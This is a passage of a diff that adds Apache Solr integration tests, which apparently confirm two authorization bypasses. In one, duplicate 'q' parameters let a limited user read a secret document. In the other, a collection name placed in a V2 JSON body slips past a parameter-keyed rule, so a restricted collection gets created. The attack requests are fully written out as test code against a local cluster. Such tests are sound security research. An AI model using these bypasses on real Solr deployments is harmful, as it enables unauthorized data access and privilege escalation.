+ return new String[] {String.valueOf(status), body};
+ } finally {
+ HttpClientUtil.close(cl);
+ }
+ }
+
+ @Test
+ public void testFirstValueParamBypassReachesSearch() throws Exception {
+ // Legit: q=id:pubdoc is the only thing the pubonly role may run -> returns the public doc only.
+ String[] legit = getSelect("q=id%3A" + PUBLIC_ID + "&wt=json", LIMITED, LIMITED_PASS);
+ assertEquals("limited should be allowed the permitted query; body=" + legit[1], "200", legit[0]);
+ assertTrue("permitted query should return the public doc; body=" + legit[1], legit[1].contains(PUBLIC_ID));
+ assertFalse("permitted query must not return the secret doc; body=" + legit[1], legit[1].contains(SECRET_ID));
+
+ // Control: a plain query for the secret doc is forbidden (rule doesn't match -> falls to 'all').
+ String[] control = getSelect("q=id%3A" + SECRET_ID + "&wt=json", LIMITED, LIMITED_PASS);
+ assertEquals("plain secret query must be forbidden; body=" + control[1], "403", control[0]);
+
+ // Attack: dangerous q first, authorized decoy q second.
+ // q=id:secretdoc&q=id:pubdoc
+ // auth matches on the decoy (any-value); execution uses the first value (first-value).
+ String[] attack = getSelect("q=id%3A" + SECRET_ID + "&q=id%3A" + PUBLIC_ID + "&wt=json",
+ LIMITED, LIMITED_PASS);
+ assertEquals("request was authorized via the decoy q value; body=" + attack[1], "200", attack[0]);
+ assertTrue(
+ "BYPASS: limited (allowed only q=id:pubdoc) retrieved the secret doc via a duplicate q "
+ + "param; per-shard re-auth did not protect a non-collection first-value param. body=" + attack[1],
+ attack[1].contains(SECRET_ID));
+ }
+}
diff --git a/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java
new file mode 100644
index 000000000000..95faae61715b
--- /dev/null
+++ b/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java
@@ -0,0 +1,174 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.solr.security;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.entity.ContentType;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.message.BasicHeader;
+import org.apache.http.util.EntityUtils;
+import org.apache.solr.client.solrj.impl.HttpClientUtil;
+import org.apache.solr.cloud.SolrCloudTestCase;
+import org.apache.solr.common.cloud.ZkStateReader;
+import org.apache.solr.common.util.Utils;
+import org.apache.solr.util.LogLevel;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue;
+
+/**
+ * Confirms that a custom authorization rule that matches on a parameter does NOT see a value
+ * supplied in a V2 JSON request body, because the JSON command body is not parsed into request
+ * params before authorization runs.
+ *
+ * For a V2 collection-admin call (e.g. {@code POST /____v2/collections} with
+ * {@code {"create":{"name":"...", ...}}}), {@code V2HttpCall} parses the request with the default
+ * parser, which puts JSON bodies into a content stream (not into {@link
+ * org.apache.solr.common.params.SolrParams}); the command is only parsed later, at execution time,
+ * via {@code getCommands()}. Authorization's custom {@code params} matching reads
+ * {@code context.getParams()} (query-string params only), so a {@code name} carried in the JSON
+ * body is invisible to it.
+ *
+ *
The test pins this with an A/B on the same endpoint and user: a guard rule keyed on
+ * {@code params:{name:"supersecret"}} fires when {@code name} is in the query string (request
+ * denied), but is bypassed when the same {@code name} is in the JSON body (request allowed and the
+ * collection is created).
+ */
+@LogLevel("org.apache.solr.security=DEBUG")
+public class V2JsonBodyParamAuthzIntegrationTest extends SolrCloudTestCase {
+
+ private static final String ADMIN = "admin";
+ private static final String ADMIN_PASS = "adminPass";
+ private static final String CREATOR = "creator";
+ private static final String CREATOR_PASS = "creatorPass";
+
+ // Both candidate authz resource strings for the V2 collections endpoint are included so the rule
+ // matches regardless of whether the resource is the raw "/____v2/collections" or "/collections".
+ private static final List V2_PATHS = List.of("/____v2/collections", "/collections");
+
+ @BeforeClass
+ public static void setupCluster() throws Exception {
+ Map guard = new java.util.HashMap<>();
+ guard.put("name", "guard_supersecret");
+ guard.put("collection", null);
+ guard.put("path", V2_PATHS);
+ guard.put("params", Map.of("name", "supersecret"));
+ guard.put("role", "admins_only");
+
+ Map v2create = new java.util.HashMap<>();
+ v2create.put("name", "v2_create_allowed");
+ v2create.put("collection", null);
+ v2create.put("path", V2_PATHS);
+ v2create.put("role", "creator_role");
+
+ final String securityJson =
+ Utils.toJSONString(
+ Map.of(
+ "authentication",
+ Map.of(
+ "class", "solr.BasicAuthPlugin",
+ "blockUnknown", true,
+ "credentials",
+ Map.of(
+ ADMIN, getSaltedHashedValue(ADMIN_PASS),
+ CREATOR, getSaltedHashedValue(CREATOR_PASS))),
+ "authorization",
+ Map.of(
+ "class", "solr.RuleBasedAuthorizationPlugin",
+ "user-role",
+ Map.of(
+ ADMIN, List.of("admins_only"),
+ CREATOR, List.of("creator_role")),
+ "permissions", List.of(guard, v2create, Map.of("name", "all", "role", "admins_only")))));
+
+ configureCluster(2)
+ .addConfig("conf", configset("cloud-minimal"))
+ .withSecurityJson(securityJson)
+ .configure();
+ }
+
+ private static String anyBaseUrl() {
+ return cluster.getJettySolrRunner(0).getBaseUrl().toString();
+ }
+
+ /** POST a JSON body to a V2 endpoint as the given user; returns [status, body]. */
+ private static String[] postV2Json(String v2Path, String query, String jsonBody, String user, String pass)
+ throws Exception {
+ HttpClient cl = HttpClientUtil.createClient(null);
+ try {
+ String url = anyBaseUrl() + "/____v2" + v2Path + (query == null ? "" : "?" + query);
+ HttpPost post = new HttpPost(url);
+ post.setHeader(new BasicHeader("Authorization",
+ "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8))));
+ post.setEntity(new StringEntity(jsonBody, ContentType.create("application/json", StandardCharsets.UTF_8)));
+ HttpResponse resp = cl.execute(post);
+ int status = resp.getStatusLine().getStatusCode();
+ String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8);
+ return new String[] {String.valueOf(status), respBody};
+ } finally {
+ HttpClientUtil.close(cl);
+ }
+ }
+
+ private static boolean collectionExists(String name) throws Exception {
+ ZkStateReader zr = cluster.getSolrClient().getZkStateReader();
+ zr.forceUpdateCollection(name);
+ return zr.getClusterState().hasCollection(name);
+ }
+
+ private static void waitUntilExists(String name) throws Exception {
+ final long deadline = System.nanoTime() + 30_000_000_000L;
+ while (System.nanoTime() < deadline) {
+ if (collectionExists(name)) return;
+ Thread.sleep(200);
+ }
+ }
+
+ @Test
+ public void testV2JsonBodyParamIsInvisibleToCustomAuthzRule() throws Exception {
+ // Control: name in the QUERY STRING is seen by authz -> guard rule fires -> creator is denied.
+ // (The JSON body names a different collection that must never be created.)
+ String[] control = postV2Json("/collections", "name=supersecret",
+ "{\"create\":{\"name\":\"control_coll\",\"config\":\"conf\",\"numShards\":1,\"replicationFactor\":1}}",
+ CREATOR, CREATOR_PASS);
+ assertEquals("query-string name=supersecret must trip the guard rule; body=" + control[1],
+ "403", control[0]);
+ assertFalse("control_coll must not have been created", collectionExists("control_coll"));
+
+ // Attack: the SAME name in the JSON body is invisible to the guard rule -> creator is allowed
+ // and the collection is created.
+ String[] attack = postV2Json("/collections", null,
+ "{\"create\":{\"name\":\"supersecret\",\"config\":\"conf\",\"numShards\":1,\"replicationFactor\":1}}",
+ CREATOR, CREATOR_PASS);
+ assertEquals("V2 create with name in the JSON body should be authorized (guard blind); body=" + attack[1],
+ "200", attack[0]);
+ waitUntilExists("supersecret");
+ assertTrue(
+ "CONFIRMED: the custom rule keyed on params:{name:supersecret} did not see the name in the "
+ + "V2 JSON body, so 'creator' created the restricted collection. body=" + attack[1],
+ collectionExists("supersecret"));
+ }
+}